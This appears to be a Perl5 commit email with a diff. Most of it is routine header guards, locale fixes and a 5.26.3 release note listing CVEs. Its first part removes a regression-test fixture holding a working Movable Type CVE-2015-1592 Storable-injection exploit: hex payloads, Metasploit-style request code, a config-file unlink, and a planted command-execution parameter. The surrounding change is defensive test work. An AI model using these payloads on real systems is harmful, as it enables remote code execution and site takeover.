-# and Try::Tiny. The generated value requires minor modification to insert
-# the payload inside the system() call and resize the padding.
-
-use Storable;
-
-{
-    package Object::MultiType;
-    use overload '+' => sub { 'ingored' };
-}
-
-{
-    package Object::MultiType::Saver;
-}
-
-#{
-#    package DateTime;
-#    use overload '+' => sub { 'ingored' };
-#}
-
-{
-    package Try::Tiny::ScopeGuard;
-}
-
-my $try_tiny_loader = bless {}, 'DateTime';
-my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver';
-my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType';
-my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: 
text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 
'Try::Tiny::ScopeGuard';
-
-my $data = [$try_tiny_loader, $try_tiny_executor];
-my $frozen1 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . 
Storable::freeze($data);
-$frozen1 = unpack 'H*', $frozen1;
-#print "RCE payload requiring Object::MultiType and DateTime: $frozen1\n";
-
-=pod
-
-  def exploit_nondestructive
-    print_status("Using nondestructive attack method")
-    config_payload = 
"53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b"
-    config_payload <<  payload.encoded.unpack('H*')[0]
-    config_payload << "7d293b"
-    config_payload << "23" * (1025 - payload.encoded.length)
-    config_payload << "0a657869743b"
-
-    print_status("Sending payload (#{payload.raw.length} bytes)")
-
-    send_request_cgi({
-      'method'    => 'GET',
-      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
-      'vars_get' => {
-        '__mode' => 'retry',
-        'step'   => 'configure',
-        'config' => config_payload
-      }
-    }, 5)
-  end
-
-=cut
-
-#!/usr/bin/perl
-
-# Generate destructive config parameter to unlink mt-config.cgi
-
-use Storable;
-
-{
-    package CGITempFile;
-}
-
-my $unlink_target = "mt-config.cgi";
-my $cgitempfile = bless \$unlink_target, "CGITempFile";
-
-$data = [$cgitempfile];
-my $frozen_data = Storable::freeze($data);
-my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . $frozen_data;
-$frozen = unpack 'H*', $frozen;
-#print "RCE unlink payload requiring CGI: $frozen\n";
-
-# $Storable::DEBUGME = 1;
-# $^W = 1;
-Storable::thaw($frozen_data);
-
-=pod
-
-def exploit_destructive
-    print_status("Using destructive attack method")
-    # First we need to delete mt-config.cgi using the storable injection
-
-    print_status("Sending storable injection to unlink mt-config.cgi")
-
-    res = send_request_cgi({
-      'method'    => 'GET',
-      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
-      'vars_get' => {
-        '__mode' => 'retry',
-        'step'   => 'configure',
-        'config' => 
'534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
-      }
-    })
-
-    if res && res.code == 200
-      print_status("Successfully sent unlink request")
-    else
-      fail_with(Failure::Unknown, "Error sending unlink request")
-    end
-
-    # Now we rewrite mt-config.cgi to accept a payload
-
-    print_status("Rewriting mt-config.cgi to accept the payload")
-
-    res = send_request_cgi({
-      'method'    => 'GET',
-      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
-      'vars_get'  => {
-        '__mode'             => 'next_step',
-        'step'               => 'optional',
-        'default_language'   => 'en_us',
-        'email_address_main' => "x\nObjectDriver mysql;use CGI;print 
qq{Content-type: text/plain\\n\\n};if(my $c = 
CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
-        'set_static_uri_to'  => '/',
-        'config'             => 
'5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f',
 # equivalent to 'set_static_file_to' => '/',
-      }
-    })
-
-    if res && res.code == 200
-      print_status("Successfully sent mt-config rewrite request")
-    else
-      fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
-    end
-
-    # Finally send the payload
-
-    print_status("Sending payload request")
-
-    send_request_cgi({
-      'method'    => 'GET',
-      'uri'       => normalize_uri(target_uri.path, 'mt.cgi'),
-      'vars_get'  => {
-        'xyzzy'   => payload.encoded,
-      }
-    }, 5)
-  end
-
-=cut
diff --git a/dist/Storable/t/CVE-2015-1592.t b/dist/Storable/t/CVE-2015-1592.t
index 2730cdc9d1..a71f44c0cb 100644
--- a/dist/Storable/t/CVE-2015-1592.t
+++ b/dist/Storable/t/CVE-2015-1592.t
@@ -1,22 +1,21 @@
 #!/usr/bin/perl
 
 use strict;
+use warnings;
 use Test::More;
+use Storable qw(freeze thaw);
 plan tests => 1;
 
-use File::Temp qw(tempdir);
-use File::Spec;
-my $tmp_dir = tempdir(CLEANUP => 1);
-my $tmp_file = File::Spec->catfile($tmp_dir, 'sploit');
+# this original worked with the packaged exploit, but that
+# triggers virus scanners, so test for the behaviour instead
+my $x = bless \(my $y = "mt-config.cgi"), "CGITempFile";
+
+my $frozen = freeze($x);
 
-my $file = __FILE__;
-$file =~ s/\.t$/.inc/;
-my $inc = $ENV{PERL_CORE} ? "-Ilib -I../../lib" : "-I".join(" -I", @INC);
-system qq($^X $inc -w "$file" 2>$tmp_file);
-open(my $fh, "<", $tmp_file) or die "$tmp_file $!";
 {
-  local $/;
-  my $err = <$fh>;
-  like($err, qr/SECURITY: Movable-Type CVE-2015-1592 Storable metasploit 
attack/,
-       'Detect CVE-2015-1592');
+    my $warnings = '';
+    local $SIG{__WARN__} = sub { $warnings .= "@_" };
+    thaw($frozen);
+    like($warnings, qr/SECURITY: Movable-Type CVE-2015-1592 Storable 
metasploit attack/,
+         'Detect CVE-2015-1592');
 }
diff --git a/ext/File-Find/t/taint.t b/ext/File-Find/t/taint.t
index 5c3833a8bf..f56d18696c 100644
--- a/ext/File-Find/t/taint.t
+++ b/ext/File-Find/t/taint.t
@@ -108,7 +108,7 @@ sub cleanup {
         chdir($updir);
     }
     if (-d dir_path('for_find_taint')) {
-       rmdir dir_path('for_find_taint') or print "# Can't rmdir for_find: 
$!\n";
+       rmdir dir_path('for_find_taint') or print "# Can't rmdir 
for_find_taint: $!\n";
     }
 }
 
diff --git a/ext/SDBM_File/pair.h b/ext/SDBM_File/pair.h
index 7191556a70..1cb24fe3c3 100644
--- a/ext/SDBM_File/pair.h
+++ b/ext/SDBM_File/pair.h
@@ -1,4 +1,7 @@
 /* Mini EMBED (pair.c) */
+#ifndef PERL_SDBM_FILE_PAIR_H_
+#define PERL_SDBM_FILE_PAIR_H_
+
 #define chkpage sdbm__chkpage
 #define delpair sdbm__delpair
 #define duppair sdbm__duppair
@@ -20,3 +23,5 @@ extern void splpage(char *, char *, long);
 #ifdef SEEDUPS
 extern int duppair(char *, datum);
 #endif
+
+#endif /* PERL_SDBM_FILE_PAIR_H_ */
diff --git a/ext/SDBM_File/sdbm.h b/ext/SDBM_File/sdbm.h
index e353569708..428303d307 100644
--- a/ext/SDBM_File/sdbm.h
+++ b/ext/SDBM_File/sdbm.h
@@ -4,6 +4,9 @@
  * author: o...@nexus.yorku.ca
  * status: public domain. 
  */
+#ifndef PERL_SDBM_FILE_SDBM_H_
+#define PERL_SDBM_FILE_SDBM_H_
+
 #define DBLKSIZ 4096
 #define PBLKSIZ 1024
 #define PAIRMAX 1008                   /* arbitrary on PBLKSIZ-N */
@@ -199,3 +202,4 @@ Free_t   Perl_mfree(Malloc_t where);
 
 #endif /* Include guard */
 
+#endif /* PERL_SDBM_FILE_SDBM_H_ */
diff --git a/feature.h b/feature.h
index 52ace09f6d..3877e16efe 100644
--- a/feature.h
+++ b/feature.h
@@ -5,6 +5,9 @@
  */
 
 
+#ifndef PERL_FEATURE_H_
+#define PERL_FEATURE_H_
+
 #if defined(PERL_CORE) || defined (PERL_EXT)
 
 #define HINT_FEATURE_SHIFT     26
@@ -162,4 +165,6 @@ S_enable_feature_bundle(pTHX_ SV *ver)
 }
 #endif /* PERL_IN_OP_C */
 
+#endif /* PERL_FEATURE_H_ */
+
 /* ex: set ro: */
diff --git a/inline.h b/inline.h
index 0d436564dc..0a3c47ab39 100644
--- a/inline.h
+++ b/inline.h
@@ -2347,10 +2347,10 @@ Perl_foldEQ(const char *s1, const char *s2, I32 len)
 PERL_STATIC_INLINE I32
 Perl_foldEQ_latin1(const char *s1, const char *s2, I32 len)
 {
-    /* Compare non-utf8 using Unicode (Latin1) semantics.  Does not work on
-     * MICRO_SIGN, LATIN_SMALL_LETTER_SHARP_S, nor
-     * LATIN_SMALL_LETTER_Y_WITH_DIAERESIS, and does not check for these.  Nor
-     * does it check that the strings each have at least 'len' characters */
+    /* Compare non-UTF-8 using Unicode (Latin1) semantics.  Works on all folds
+     * representable without UTF-8, except for LATIN_SMALL_LETTER_SHARP_S, and
+     * does not check for this.  Nor does it check that the strings each have
+     * at least 'len' characters. */
 
     const U8 *a = (const U8 *)s1;
     const U8 *b = (const U8 *)s2;
diff --git a/invlist_inline.h b/invlist_inline.h
index 48084d3d69..cd002cef19 100644
--- a/invlist_inline.h
+++ b/invlist_inline.h
@@ -6,6 +6,9 @@
  *    License or the Artistic License, as specified in the README file.
  */
 
+#ifndef PERL_INVLIST_INLINE_H_
+#define PERL_INVLIST_INLINE_H_
+
 #if defined(PERL_IN_UTF8_C) || defined(PERL_IN_REGCOMP_C) || 
defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_TOKE_C)
 
 /* An element is in an inversion list iff its index is even numbered: 0, 2, 4,
@@ -93,3 +96,5 @@ S_invlist_array(SV* const invlist)
 #   endif
 
 #endif
+
+#endif /* PERL_INVLIST_INLINE_H_ */
diff --git a/locale.c b/locale.c
index c32dd3f6ed..0f40250700 100644
--- a/locale.c
+++ b/locale.c
@@ -331,7 +331,7 @@ S_category_name(const int category)
 #    define LC_COLLATE_INDEX            _DUMMY_CTYPE + 1
 #    define _DUMMY_COLLATE              LC_COLLATE_INDEX
 #  else
-#    define _DUMMY_COLLATE              _DUMMY_COLLATE
+#    define _DUMMY_COLLATE              _DUMMY_CTYPE
 #  endif
 #  ifdef USE_LOCALE_TIME
 #    define LC_TIME_INDEX               _DUMMY_COLLATE + 1
@@ -3322,8 +3322,12 @@ Perl_init_i18nl10n(pTHX_ int printwarn)
 
 #  endif
 
+#  ifdef USE_LOCALE_NUMERIC
+
     PL_numeric_radix_sv = newSVpvs(".");
 
+#  endif
+
 #  if defined(USE_POSIX_2008_LOCALE) && ! defined(HAS_QUERYLOCALE)
 
     /* Initialize our records.  If we have POSIX 2008, we have LC_ALL */
@@ -4303,6 +4307,10 @@ S_print_collxfrm_input_and_return(pTHX_
     PerlIO_printf(Perl_debug_log, "'\n");
 }
 
+#  endif    /* DEBUGGING */
+#endif /* USE_LOCALE_COLLATE */
+#ifdef DEBUGGING
+
 STATIC void
 S_print_bytes_for_locale(pTHX_
                     const char * const s,
@@ -4338,8 +4346,7 @@ S_print_bytes_for_locale(pTHX_
     }
 }
 
-#  endif   /* #ifdef DEBUGGING */
-#endif /* USE_LOCALE_COLLATE */
+#endif   /* #ifdef DEBUGGING */
 
 #ifdef USE_LOCALE
 
diff --git a/pod/perl.pod b/pod/perl.pod
index 39586c6159..7641303612 100644
--- a/pod/perl.pod
+++ b/pod/perl.pod
@@ -187,7 +187,9 @@ aux h2ph h2xs perlbug pl2pm pod2html pod2man splain xsubpp
     perl5292delta      Perl changes in version 5.29.2
     perl5291delta      Perl changes in version 5.29.1
     perl5290delta      Perl changes in version 5.29.0
+    perl5281delta      Perl changes in version 5.28.1
     perl5280delta      Perl changes in version 5.28.0
+    perl5263delta      Perl changes in version 5.26.3
     perl5262delta      Perl changes in version 5.26.2
     perl5261delta      Perl changes in version 5.26.1
     perl5260delta      Perl changes in version 5.26.0
diff --git a/pod/perl5263delta.pod b/pod/perl5263delta.pod
new file mode 100644
index 0000000000..43ec1f45a6
--- /dev/null
+++ b/pod/perl5263delta.pod
@@ -0,0 +1,201 @@
+=encoding utf8
+
+=head1 NAME
+
+perl5263delta - what is new for perl v5.26.3
+
+=head1 DESCRIPTION
+
+This document describes differences between the 5.26.2 release and the 5.26.3
+release.
+
+If you are upgrading from an earlier release such as 5.26.1, first read
+L<perl5262delta>, which describes differences between 5.26.1 and 5.26.2.
+
+=head1 Security
+
+=head2 [CVE-2018-12015] Directory traversal in module Archive::Tar
+
+By default, L<Archive::Tar> doesn't allow extracting files outside the current
+working directory.  However, this secure extraction mode could be bypassed by
+putting a symlink and a regular file with the same name into the tar file.
+
+L<[perl #133250]|https://rt.perl.org/Ticket/Display.html?id=133250>
+L<[cpan #125523]|https://rt.cpan.org/Ticket/Display.html?id=125523>
+
+=head2 [CVE-2018-18311] Integer overflow leading to buffer overflow and 
segmentation fault
+
+Integer arithmetic in C<Perl_my_setenv()> could wrap when the combined length
+of the environment variable name and value exceeded around 0x7fffffff.  This
+could lead to writing beyond the end of an allocated buffer with attacker
+supplied data.
+
+L<[perl #133204]|https://rt.perl.org/Ticket/Display.html?id=133204>
+
+=head2 [CVE-2018-18312] Heap-buffer-overflow write in S_regatom (regcomp.c)
+
+A crafted regular expression could cause heap-buffer-overflow write during
+compilation, potentially allowing arbitrary code execution.
+
+L<[perl #133423]|https://rt.perl.org/Ticket/Display.html?id=133423>
+
+=head2 [CVE-2018-18313] Heap-buffer-overflow read in S_grok_bslash_N 
(regcomp.c)
+
+A crafted regular expression could cause heap-buffer-overflow read during
+compilation, potentially leading to sensitive information being leaked.
+
+L<[perl #133192]|https://rt.perl.org/Ticket/Display.html?id=133192>
+
+=head2 [CVE-2018-18314] Heap-buffer-overflow write in S_regatom (regcomp.c)
+
+A crafted regular expression could cause heap-buffer-overflow write during
+compilation, potentially allowing arbitrary code execution.
+
+L<[perl #131649]|https://rt.perl.org/Ticket/Display.html?id=131649>
+
+=head1 Incompatible Changes
+
+There are no changes intentionally incompatible with 5.26.2.  If any exist,
+they are bugs, and we request that you submit a report.  See
+L</Reporting Bugs> below.
+
+=head1 Modules and Pragmata
+
+=head2 Updated Modules and Pragmata
+
+=over 4
+
+=item *
+
+L<Archive::Tar> has been upgraded from version 2.24 to 2.24_01.
+
+=item *
+
+L<Module::CoreList> has been upgraded from version 5.20180414_26 to 
5.20181129_26.
+
+=back
+
+=head1 Diagnostics
+
+The following additions or changes have been made to diagnostic output,
+including warnings and fatal error messages.  For the complete list of
+diagnostic messages, see L<perldiag>.
+
+=head2 New Diagnostics
+
+=head3 New Errors
+
+=over 4
+
+=item *
+
+L<Unexpected ']' with no following ')' in (?[... in regex; marked by E<lt>-- 
HERE in mE<sol>%sE<sol>|perldiag/"Unexpected ']' with no following ')' in 
(?[... in regex; marked by E<lt>-- HERE in mE<sol>%sE<sol>">
+
+(F) While parsing an extended character class a ']' character was encountered
+at a point in the definition where the only legal use of ']' is to close the
+character class definition as part of a '])', you may have forgotten the close
+paren, or otherwise confused the parser.
+
+=item *
+
+L<Expecting close paren for nested extended charclass in regex; marked by 
E<lt>-- HERE in mE<sol>%sE<sol>|perldiag/"Expecting close paren for nested 
extended charclass in regex; marked by E<lt>-- HERE in mE<sol>%sE<sol>">
+
+(F) While parsing a nested extended character class like:
+
+    (?[ ... (?flags:(?[ ... ])) ... ])
+                             ^
+
+we expected to see a close paren ')' (marked by ^) but did not.
+
+=item *
+
+L<Expecting close paren for wrapper for nested extended charclass in regex; 
marked by E<lt>-- HERE in mE<sol>%sE<sol>|perldiag/"Expecting close paren for 
wrapper for nested extended charclass in regex; marked by E<lt>-- HERE in 
mE<sol>%sE<sol>">
+
+(F) While parsing a nested extended character class like:
+
+    (?[ ... (?flags:(?[ ... ])) ... ])
+                              ^
+
+we expected to see a close paren ')' (marked by ^) but did not.
+
+=back
+
+=head2 Changes to Existing Diagnostics
+
+=over 4
+
+=item *
+
+L<Syntax error in (?[...]) in regex; marked by E<lt>-- HERE in 
mE<sol>%sE<sol>|perldiag/"Syntax error in (?[...]) in regex; marked by E<lt>-- 
HERE in mE<sol>%sE<sol>">
+
+This fatal error message has been slightly expanded (from "Syntax error in
+(?[...]) in regex mE<sol>%sE<sol>") for greater clarity.
+
+=back
+
+=head1 Acknowledgements
+
+Perl 5.26.3 represents approximately 8 months of development since Perl 5.26.2
+and contains approximately 4,500 lines of changes across 51 files from 15
+authors.
+
+Excluding auto-generated files, documentation and release tools, there were
... 1155 lines suppressed ...

-- 
Perl5 Master Repository

Reply via email to